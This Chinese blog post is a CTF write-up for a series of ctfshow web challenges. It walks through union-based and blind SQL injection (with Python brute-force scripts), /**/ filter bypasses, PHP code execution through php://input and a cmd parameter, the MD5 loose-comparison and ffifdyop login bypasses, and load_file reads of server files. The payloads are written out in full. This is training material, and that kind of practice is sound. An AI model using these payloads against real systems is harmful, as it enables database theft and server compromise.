ctfshow web

1.web签到题

1.进入环境后,界面只有一句话,查看界面源码,会发现一段base64

image

2.base64解码后得到flag

image

2.web2

1.SQL注入题,在用户名和密码随便挑一个位置进行注入

2.爆数据库名(这步可以跳过)(以下均为使用hackbar的payload格式)

username=' or 1=1 union select 1,database(),3 #--&password=123

image

3.爆表名

username=' or 1=1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema= database()),3 #--&password=123

image

4.取列名

username=' or 1=1 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema= database() and table_name='flag'),3 #--&password=123

image

5.取数据,得到flag

username=' or 1=1 union select 1,(select group_concat(flag) from flag),3 #--&password=123

image

3.web3

1.得到一段代码,简单意思就是要通过get的方式得到名为url的数据

image

2.输入index.phps等关键词都无法获得相关的文件,url数据测试也找不到注入点,看了WP得知是通过url赋值php://input,bp抓包,获取数据包

image

3.加一行代码检查文件结构

<?php system("ls");?>

image

4.得到一个新的文件ctf_go_go_go,再用代码cat以下,得到flag

<?php system("cat ctf_go_go_go");?>

image

4.web5

1.得到一堆代码,看最重要的那部分

image

2.审计一下,得知#if(isset($v1) && isset($v2))为确定v1,v2都不是空

if(!ctype_alpha($v1))为保证v1中全都是字母

if(!is_numeric($v2))为保证v2都是数字

if(md5($v1)==md5($v2))为保证md5加密后v1和v2相等(相等的md5之前总结过)

v1、v2都是get形式上传,构造payload,得到flag

http://fbe9064b-e872-4e67-b4ea-5a90c21ee601.challenge.ctf.show/?v1=QNKCDZO&v2=240610708

image

5.web6

1.得到登陆界面,尝试注入一下,回显报错

image

2.可能是有东西被绕过了,尝试替换,使用/**/ 替换空格,可以正常回显了

username='/**/or/**/1=1/**/union/**/select/**/1,database(),3/**/#--&password=123

image

3.爆表

username='/**/or/**/1=1/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=/**/database()),3/**/#--&password=123

image

4.爆列名

username='/**/or/**/1=1/**/union/**/select/**/1,(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema=/**/database()/**/and/**/table_name/**/=/**/"flag"),3/**/#--&password=123

image

5.取数据

username='/**/or/**/1=1/**/union/**/select/**/1,(select/**/group_concat(flag)/**/from/**/flag),3/**/#--&password=123

image

6.web7

1.得到一个列表,随机点开一个会发现url末尾出现了id,猜测这个就是注入点,同时会注意到空格被绕过了(因为普通的语句注入后没有显示)

image

2.爆表名

?id=-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/=/**/database()),3/**/#

image

3.爆列名

?id=-1'/**/union/**/select/**/1,(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/=/**/database()/**/and/**/table_name/**/=/**/"flag"),3/**/#

image

4.找出数据

?id=-1'/**/union/**/select/**/1,(select/**/group_concat(flag)/**/from/**/flag),3/**/#

image

5.得到flag,此题主要考的就是使用/**/解决绕过空格的问题

7.web8

1.环境长得和之前的那个很像,注入试一下,回显报错

image

2.可知不是空格绕过,或者有多个绕过,使用脚本脱库(脚本编写参考了网上的WP)

3.爆表名

点击查看代码
#爆表名
import requests

chars = "}{-0123456789abcdefghijklmnopqrstuvwxyz"  # 测试字符
url = "http://173c72fd-e308-45b1-a942-d72d084aaeca.challenge.ctf.show/index.php"  # 地址

for n in range(0, 2):  # 前两个表
    table_name = ''
    for i in range(1, 10):  # 爆破数前十位(猜测该表名长度低于十位)
        for char in chars:  # 测试每一个待测字符
            params = {
                "id":
                    "-1/**/or/**/ord(mid((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema/**/in/**/(database())/**/limit/**/1/**/offset/**/" + str(
                        n) + ")/**/from/**/" + str(i) + "/**/for/**/1))/**/in/**/(" + str(ord(char)) + ")"
            }
            r = requests.get(url=url, params=params)
            # print(r.request.url)
            if "If" in r.text:
                table_name += char
    print(table_name)

4.爆列名

点击查看代码
#爆列名
import requests

chars = "}{-0123456789abcdefghijklmnopqrstuvwxyz"
url = "http://173c72fd-e308-45b1-a942-d72d084aaeca.challenge.ctf.show/index.php"

for n in range(0, 1):
    table_name = ''
    for i in range(1, 10):
        for char in chars:
            params = {
                "id":
                    "-1/**/or/**/ord(mid((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name/**/in/**/(0x666c6167)/**/limit/**/1/**/offset/**/" + str(
                        n) + ")/**/from/**/" + str(i) + "/**/for/**/1))/**/in/**/(" + str(ord(char)) + ")"
            }
            r = requests.get(url=url, params=params)
            # print(r.request.url)
            if "If" in r.text:
                table_name += char
    print(table_name)

5.爆字符值

点击查看代码
#爆字段值
import requests

chars = "}{-0123456789abcdefghijklmnopqrstuvwxyz"
url = "http://f631c656-f73c-4b3e-bbfa-0bacfbf6dab0.challenge.ctf.show/index.php"

for n in range(0, 1):
    table_name = ''
    for i in range(1, 50):
        for char in chars:
            params = {
                "id":
                    "-1/**/or/**/ord(mid((select/**/flag/**/from/**/flag/**/limit/**/1/**/offset/**/" + str(
                        n) + ")/**/from/**/" + str(i) + "/**/for/**/1))/**/in/**/(" + str(ord(char)) + ")"
            }
            r = requests.get(url=url, params=params)
            # print(r.request.url)
            if "If" in r.text:
                table_name += char
    print(table_name)

image

得到flag

8.web9

1.下载index.phps文件,010打开,发现密码是md5加密

image

2.md5加密绕过,即为使password为ffifdyop,因为其md5加密后为276f722736c95d99e921722cf9ed621c,再UTF8编码后得到的就是'or'6É]™é!r,ùíb,后面的乱码不用管,主要是前面的'or'6就直接绕过了password

image

3.得到flag

image

9.web10

1.下载index.phps文件,查看关键函数

image

2.思路就是主要通过两个函数进行绕过,并使密码为空,一是:group by:表示对相同的数据进行一个分组的汇总,二是:with rollup:对分组的数据进行统计,构造payload

username=' or 1=1 group by password with rollup  #&password=

3.此时会回显报错,猜测是空格被绕过吗,使用/**/代替空格

username='/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup/**//**/#&password=

4.现实登陆成功得到flag

image

10.web11

1.界面直接给出代码,审计可得,关键函数差不多都注释掉了

image

2.最有用的if:if($password==$_SESSION['password']),可知,验证的就是上传的password和本地存储的password是否相同,那么就猜想是否可以将本地存储的password删去,F12,查看本地存储,右键清除

image

11.web12

1.得到的只有一句话,查看页面源码,得到了一个hint,cmd

image

2.那就是以cmd为参数进行查询,首先对index.php文件进行高亮显示

?cmd=highlight_file("index.php");

3.看到了传输cmd的命令,证明猜想是对的

image

4.下面就是将所有的文件放入一个列表中显示出来,用到的就是glob()函数:https://blog.csdn.net/***_xujiping/article/details/81604882

?cmd=print_r(glob("*"));

image

5.找到了一个名字好长的文件,应该就是这个,hightlight_file显示

?cmd=highlight_file("903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php");

image

6.得到flag

12.web14

1.进入环境后,界面显示的是代码,审计后明白,简单来说就是根据以get形式传输的C的值,回显出对应的额内容,并且因为使用了sleep()函数,所以c的值决定了延迟的秒数

image

2.尝试传输一下3,找到了新的提示

image

3.访问here_1s_your_f1ag.php界面,发现是登录界面

image

4.查看界面源码,发现了传输的参数名

image

5.然后就是常规的步骤,爆表名、字段名、字段值,但是最后弄出来的是一句没用的话

image

6.换种思路,猜测是不是secret.php有用,直接访问显示空白,查看源码也没有东西

image

7.尝试使用load_file()通过文件目录读取文件(apache的默认网站根路径是 /var/www/html)

here_1s_your_f1ag.php?query=-1/**/union/**/select/**/load_file("/var/www/html/secret.php")

8.发现还是没有变化,查看源码(直接右键会发现没有这个选项,可能是被禁止了,直接在URL前面加上view-source:,发现新的提示

image

9.接着访问/real_flag_is_here

/here_1s_your_f1ag.php?query=-1/**/union/**/select/**/load_file("/real_flag_is_here")

image

10.得到flag

posted @ 2022-08-02 19:46  CPYQY_orz  阅读(66)  评论(0编辑  收藏  举报